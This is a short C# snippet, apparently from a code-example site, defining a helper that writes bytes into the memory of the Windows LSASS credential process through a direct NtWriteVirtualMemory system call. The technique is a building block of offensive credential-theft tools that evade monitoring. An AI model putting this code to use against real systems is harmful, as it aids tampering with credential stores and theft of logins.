예제 #1
0
        public static bool WriteToLsass(ref IntPtr hLsass, IntPtr addr, byte[] bytesToWrite)
        {
            IntPtr   bytesWrited = IntPtr.Zero;
            GCHandle pbytesToWritepinnedArray = GCHandle.Alloc(bytesToWrite, GCHandleType.Pinned);
            IntPtr   pbytesToWrite            = pbytesToWritepinnedArray.AddrOfPinnedObject();

            NTSTATUS status = SysCall.NtWriteVirtualMemory10(hLsass, addr, pbytesToWrite, (uint)bytesToWrite.Length, ref bytesWrited);

            return(status == NTSTATUS.Success);
        }